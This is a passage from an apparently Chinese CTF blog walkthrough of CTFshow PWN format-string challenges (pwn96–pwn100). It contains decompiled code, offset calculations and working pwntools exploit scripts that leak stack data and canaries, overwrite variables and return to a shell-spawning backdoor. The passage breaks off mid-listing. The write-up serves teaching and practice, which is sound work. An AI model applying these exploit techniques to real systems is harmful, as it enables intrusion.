class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Very Ez !</span><br><span class="line">    * *************************************</span><br><span class="line">aaaa%7<span class="variable">$x</span></span><br><span class="line">aaaa61616161</span><br><span class="line">daniu now is :0!</span><br></pre></td></tr></table></figure><p>我们需要让daniu &#x3D; 6，现在又有格式化字符串漏洞，我们就可以使用其任意地址写功能将daniu的值修改为6即可获得shell</p><p>这里使用pwntools模块中的fmtstr模块直接进行改写：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">fmtstr_payload(<span class="number">7</span>,&#123;daniu:<span class="number">6</span>&#125;)</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">该函数的作用是自动生成一段格式化字符串，当程序执行到该字符串时，会将daniu变量的内存地址处的值修改为6，无需手动构造复杂的格式化字符序列（如 %7$n这类写法）</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">7：表示偏移量，指输入的格式化字符串中，变量的地址在栈上的位置索引为7。</span></span><br><span class="line"><span class="string">&#123;daniu： 6&#125;：是一个字典参数，表示要执行的写入作：</span></span><br><span class="line"><span class="string">键 是目标内存地址（通常是一个变量的地址）。daniu</span></span><br><span class="line"><span class="string">值 是要写入该地址的目标数值。6</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;i386&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>, log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment"># io = remote(&#x27;pwn.challenge.ctf.show&#x27;, 28299)</span></span><br><span class="line">flag = <span class="string">b&#x27;&#x27;</span>  <span class="comment"># 初始化为bytes类型</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>, <span class="number">6</span> + <span class="number">10</span>):  <span class="comment"># 读取栈上的数据</span></span><br><span class="line">    payload = <span class="string">f&#x27;%<span class="subst">&#123;i&#125;</span>$p&#x27;</span>.encode()  <span class="comment"># 转换为字节流发送</span></span><br><span class="line">    io.sendlineafter(<span class="string">b&#x27;$ &#x27;</span>, payload)</span><br><span class="line">    <span class="comment"># 接收返回的十六进制字符串,drop=Trueb：b&#x27;0x67616c66\n&#x27;→b&#x27;0x67616c66&#x27;，replace(b&#x27;0x&#x27;, b&#x27;&#x27;)：b&#x27;0x67616c66&#x27;→b&#x27;67616c66&#x27;，unhex(...)：将十六进制字符串转换为对应的字节流（bytes 类型）</span></span><br><span class="line">    addr_str = io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>, drop=<span class="literal">True</span>).replace(<span class="string">b&#x27;0x&#x27;</span>, <span class="string">b&#x27;&#x27;</span>)</span><br><span class="line">    <span class="comment"># 处理奇数长度的十六进制字符串</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(addr_str) % <span class="number">2</span> != <span class="number">0</span>:</span><br><span class="line">        addr_str = <span class="string">b&#x27;0&#x27;</span> + addr_str  <span class="comment"># 补全为偶数长度</span></span><br><span class="line">    <span class="comment"># 转换为字节并反转（小端序转大端序）</span></span><br><span class="line">    aim = unhex(addr_str)</span><br><span class="line">    flag += aim[::-<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提取并打印flag</span></span><br><span class="line">flag_str = flag.decode(errors=<span class="string">&#x27;ignore&#x27;</span>).strip()</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Flag: <span class="subst">&#123;flag_str&#125;</span>&quot;</span>)</span><br><span class="line">io.close()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp1.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 360</span><br><span class="line">Flag: flag&#123;just_test_my_process&#125;</span><br><span class="line">\x01 g7\x01</span><br><span class="line">[*] Stopped process <span class="string">&#x27;./pwn&#x27;</span> (pid 360)</span><br></pre></td></tr></table></figure><h2 id="pwn97"><a href="#pwn97" class="headerlink" title="pwn97"></a>pwn97</h2><h6 id="Hint：覆写某个值满足某条件好像就可以了"><a href="#Hint：覆写某个值满足某条件好像就可以了" class="headerlink" title="Hint：覆写某个值满足某条件好像就可以了"></a>Hint：覆写某个值满足某条件好像就可以了</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭PIE，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+10h] [ebp-4Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v5; <span class="comment">// [esp+50h] [ebp-Ch]</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+54h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  v5 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A64);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048AD8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B54);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048BE0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048C70);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048CF4);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048D88);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Format_String                                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : Find a way to elevate your privileges!                  &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;You can use two command(&#x27;cat /ctfshow_flag&#x27; &amp;&amp; &#x27;shutdown&#x27;)&quot;</span>);</span><br><span class="line">  <span class="built_in">putchar</span>(<span class="number">36</span>);</span><br><span class="line">  fgets(s, <span class="number">64</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strstr</span>(s, <span class="string">&quot;shutdown&quot;</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;See you~&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strstr</span>(s, <span class="string">&quot;cat /ctfshow_flag&quot;</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Here you are:\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(s);</span><br><span class="line">  &#125;</span><br><span class="line">  get_flag();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到有一个明显的格式化字符串漏洞，跟进get_flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( !check )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Permission denied.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Your privileges have been elevated to &#x27;root&#x27;.\n#cat /ctfshow_flag&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> flag();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里对check有一个检查，变量 check 被用作条件判断。如果 check 的值为非零（真值），则会执行</p><p>特权升级的消息输出和命令提示，然后调用 flag() 函数。否则，如果 check 的值为零（假值），则</p><p>会输出 “Permission denied.” 消息。跟进check：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:0804B03D                 align 10h</span><br><span class="line">.bss:0804B040                 public check</span><br><span class="line">.bss:0804B040 check           dd ?                    ; DATA XREF: get_flag+11↑r</span><br><span class="line">.bss:0804B040 _bss            ends</span><br></pre></td></tr></table></figure><p>跟进flag：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// [esp+8h] [ebp-40h]</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">48</span>]; <span class="comment">// [esp+Ch] [ebp-3Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">48</span>, stream);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么很明显，我们利用格式化字符串漏洞的任意地址写改写check的值即可满足条件。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Find a way to elevate your privileges!</span><br><span class="line">    * *************************************</span><br><span class="line">You can use two <span class="built_in">command</span>(<span class="string">&#x27;cat /ctfshow_flag&#x27;</span> &amp;&amp; <span class="string">&#x27;shutdown&#x27;</span>)</span><br><span class="line"><span class="variable">$aaaa</span>-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p</span><br><span class="line">Here you are:</span><br><span class="line"></span><br><span class="line">aaaa-0x8048fbd-0xf54be5c0-(nil)-(nil)-0x1-0xf5510a20-0xff844e04-(nil)-0xff844f0b-0x2-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025</span><br><span class="line">Permission denied.</span><br></pre></td></tr></table></figure><p>偏移量11</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28145)</span></span><br><span class="line">check = <span class="number">0x804B040</span></span><br><span class="line">payload = fmtstr_payload(<span class="number">11</span>, &#123;check:<span class="number">1</span>&#125;)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 50</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">[*] Process <span class="string">&#x27;./pwn&#x27;</span> stopped with <span class="built_in">exit</span> code 0 (pid 50)</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Find a way to elevate your privileges!</span><br><span class="line">    * *************************************</span><br><span class="line">You can use two <span class="built_in">command</span>(<span class="string">&#x27;cat /ctfshow_flag&#x27;</span> &amp;&amp; <span class="string">&#x27;shutdown&#x27;</span>)</span><br><span class="line"><span class="variable">$Here</span> you are:</span><br><span class="line"></span><br><span class="line">caa@\xb0\x04\x08</span><br><span class="line">Your privileges have been elevated to <span class="string">&#x27;root&#x27;</span>.</span><br><span class="line"><span class="comment">#cat /ctfshow_flag</span></span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br></pre></td></tr></table></figure><h2 id="pwn98"><a href="#pwn98" class="headerlink" title="pwn98"></a>pwn98</h2><h6 id="Hint：Canary？有没有办法绕过呢？"><a href="#Hint：Canary？有没有办法绕过呢？" class="headerlink" title="Hint：Canary？有没有办法绕过呢？"></a>Hint：Canary？有没有办法绕过呢？</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启Canary，NX，部分开启RELRO</p><p>根据题目描述，很容易能猜到这题是要我们通过格式化字符串去泄漏Canary的值从而去绕过栈保护。</p><p>IDA查看main函数，跟进ctfshow函数</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">40</span>]; <span class="comment">// [esp+4h] [ebp-34h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="built_in">printf</span>(s);</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>很明显的有栈溢出漏洞和格式化字符串漏洞，但是由于开启了Canary，直接溢出的话肯定是不行的，因此我们需要先通过格式化字符串漏洞去泄漏Canary的值，再进一步的利用</p><p>稍微看一下就能看到程序中还是存在后门函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> _stack_check()</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;you_find_me_but_I_have_canary_protect_me!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>利用格式化字符串漏洞的任意读，由于canary的最低字节是0x00，所以不能用%s的格式当作字符串来读，而应该使用%p&#x2F;%x等当作一个数来读，计算好偏移，将 Canary 填入到相应的溢出位置，实现 ret 到后门函数中</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Find the vulnerability and <span class="keyword">then</span> exploit it !</span><br><span class="line">    * *************************************</span><br><span class="line">aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p</span><br><span class="line">aaaa-0x804b000-0xe9fcbe34-0x8048716-0xffb56698-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025</span><br></pre></td></tr></table></figure><p>偏移值5，最终偏移量(0x34-0x0c)&#x2F;4 + 5 &#x3D; 15[ 32 位下调用 <code>printf</code> 时，所有参数会从栈上传给它。格式化字符串里的 <code>%n$p</code> 是按照<strong>printf 可变参数列表的第 1 个参数开始数</strong>。每个 <code>%n$p</code> 实际读取的是 4 字节的栈值（一个参数）]</p><ul><li><strong><code>s</code> 的地址</strong>：<code>ebp - 0x34</code></li><li><strong>Canary (<code>v2</code>)</strong>：<code>ebp - 0xC</code></li></ul><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28206)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shell = elf.sym[<span class="string">&#x27;__stack_check&#x27;</span>]</span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&quot;%15$x&quot;</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">canary = <span class="built_in">int</span>(io.recv(),<span class="number">16</span>) <span class="comment">#16进制字符串转成整数类型</span></span><br><span class="line">log.info(<span class="string">&quot;Canary : 0x%x&quot;</span> % canary)</span><br><span class="line">payload = cyclic(<span class="number">0x28</span>) + p32(canary) + <span class="string">b&#x27;A&#x27;</span>*<span class="number">0xC</span> + p32(shell)</span><br><span class="line"><span class="comment">#填充缓冲区s[40]+ Canary值（绕过检查）+保存的ebp(填充EBP到返回地址之间的空隙)+shell(把返回地址改成后门函数的地址)</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 105</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Canary : 0x77ae9c00</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">you_find_me_but_I_have_canary_protect_me!</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><p>这里仅仅是提前让大家学习了解如何绕过Canary保护，详细内容再Bypass Canary保护的时候会再详细讲解。原理在这里不再概述。</p><h2 id="pwn99"><a href="#pwn99" class="headerlink" title="pwn99"></a>pwn99</h2><h6 id="Hint：fmt盲打（不是忘记放附件，是本身就没附件！！！）"><a href="#Hint：fmt盲打（不是忘记放附件，是本身就没附件！！！）" class="headerlink" title="Hint：fmt盲打（不是忘记放附件，是本身就没附件！！！）"></a>Hint：fmt盲打（不是忘记放附件，是本身就没附件！！！）</h6><p>没有附件，那么很明显，我们只能通过远程连接查看程序干了什么，一般来说，没有附件的题相对来说</p><p>会比有附件的逻辑更加简单。</p><p>直接连接：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ nc pwn.challenge.ctf.show 28217</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Flag is on Stack !</span><br><span class="line">    * *************************************</span><br><span class="line">aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p</span><br><span class="line">aaaa-0x7ffd4eee4820-0x200-0x7fa6b7bfa031-0x46-0x7fa6b81004c0-0x2d70252d61616161-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0xa70252d70-0x7fa6b8106170-0x7fa6b8106170-0x7fa6b7ef3d38-0x7ffd4eee4a60</span><br><span class="line">お前も舞うか?</span><br></pre></td></tr></table></figure><p>根据Hint我们能看到flag还是在栈上，那么我们就可以通过去泄漏栈上的数据去查看flag</p><p>首先还是看一下，显而易见的能看出存在格式化字符串漏洞，既然告诉了我们flag在栈上，那么我们直接利用格式化字符串漏洞的任意读功能去尝试读一下试试</p><p><strong>法一</strong><br>暴力泄露</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = <span class="string">b&quot;a&quot;</span>*<span class="number">8</span>+<span class="string">b&quot;%p.%p&quot;</span>*<span class="number">2000</span></span><br></pre></td></tr></table></figure><p><strong>法二</strong></p><p>用脚本扫描</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;error&#x27;</span> <span class="comment">#只显示错误信息，减少干扰</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leak</span>(<span class="params">payload</span>):</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28217</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">data = io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>, drop=<span class="literal">True</span>)</span><br><span class="line"><span class="keyword">if</span> data.startswith(<span class="string">b&#x27;0x&#x27;</span>):</span><br><span class="line"><span class="built_in">print</span>(p64(<span class="built_in">int</span>(data, <span class="number">16</span>)))</span><br><span class="line">io.close()</span><br><span class="line">i = <span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">payload = <span class="string">f&#x27;%<span class="subst">&#123;i&#125;</span>$p&#x27;</span>.encode() <span class="comment">#构建payload并转换为字节类型</span></span><br><span class="line">leak(payload)</span><br><span class="line">i += <span class="number">1</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">b<span class="string">&#x27;ctfshow&#123;&#x27;</span></span><br><span class="line">b<span class="string">&#x27;W0w_y0u_&#x27;</span></span><br><span class="line">b<span class="string">&#x27;c@n_r3@1&#x27;</span></span><br><span class="line">b<span class="string">&#x27;1y_d@nce&#x27;</span></span><br><span class="line">b<span class="string">&#x27;!&#125;</span></span><br></pre></td></tr></table></figure><h2 id="pwn100"><a href="#pwn100" class="headerlink" title="pwn100"></a>pwn100</h2><p>看了这个师傅的<a href="https://blog.csdn.net/weixin_44031316/article/details/150456755?fromshare=blogdetail&sharetype=blogdetail&sharerId=150456755&sharerefer=PC&sharesource=weixin_44031316&sharefrom=from_link">CTFshow-pwn入门-pwn100 WP-CSDN博客</a></p><h6 id="Hint：有些东西好像需要一定条件"><a href="#Hint：有些东西好像需要一定条件" class="headerlink" title="Hint：有些东西好像需要一定条件"></a>Hint：有些东西好像需要一定条件</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开意味着</p><ul><li><p>FULL RELRO：不能通过修改GOT表劫持控制流。</p></li><li><p>PIE 开启：程序加载地址随机化，需泄露基址才能定位函数。</p></li><li><p>Canary：栈溢出无效，需用格式化字符串漏洞。</p></li></ul><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [rsp+Ch] [rbp-14h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> <span class="type">int</span>; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  initial(argc, argv, envp);</span><br><span class="line">  whattime();</span><br><span class="line">  v3 = <span class="number">0</span>;</span><br><span class="line">  v4 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        menu();</span><br><span class="line">        <span class="type">int</span> = get_int();</span><br><span class="line">        <span class="keyword">if</span> ( <span class="type">int</span> != <span class="number">2</span> )</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        fmt_attack(&amp;v3);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( <span class="type">int</span> &gt; <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">if</span> ( <span class="type">int</span> == <span class="number">1</span> )</span><br><span class="line">        leak(&amp;v4);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( <span class="type">int</span> == <span class="number">3</span> )</span><br><span class="line">      get_flag();</span><br><span class="line">    <span class="keyword">if</span> ( <span class="type">int</span> == <span class="number">4</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Bye!&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进whattime：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">whattime</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v1; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line">  __int64 v2; <span class="comment">// [rsp+8h] [rbp-18h] BYREF</span></span><br><span class="line">  __int64 v3; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v4; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Hello my bro.&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What time is it :&quot;</span>);</span><br><span class="line">  _isoc99_scanf(<span class="string">&quot;%ld&quot;</span>, &amp;v1);</span><br><span class="line">  _isoc99_scanf(<span class="string">&quot;%ld&quot;</span>, &amp;v2);</span><br><span class="line">  _isoc99_scanf(<span class="string">&quot;%ld&quot;</span>, &amp;v3);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Ok! time is %ld:%ld:%ld\n&quot;</span>, v1, v2, v3);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v4;</span><br><span class="line">&#125; <span class="comment">//没啥用</span></span><br></pre></td></tr></table></figure><p>跟进menu</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">menu</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int64 v1; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v1 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1. leak&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2. fmt_attack&quot;</span>);</span><br><span class="line">  <span 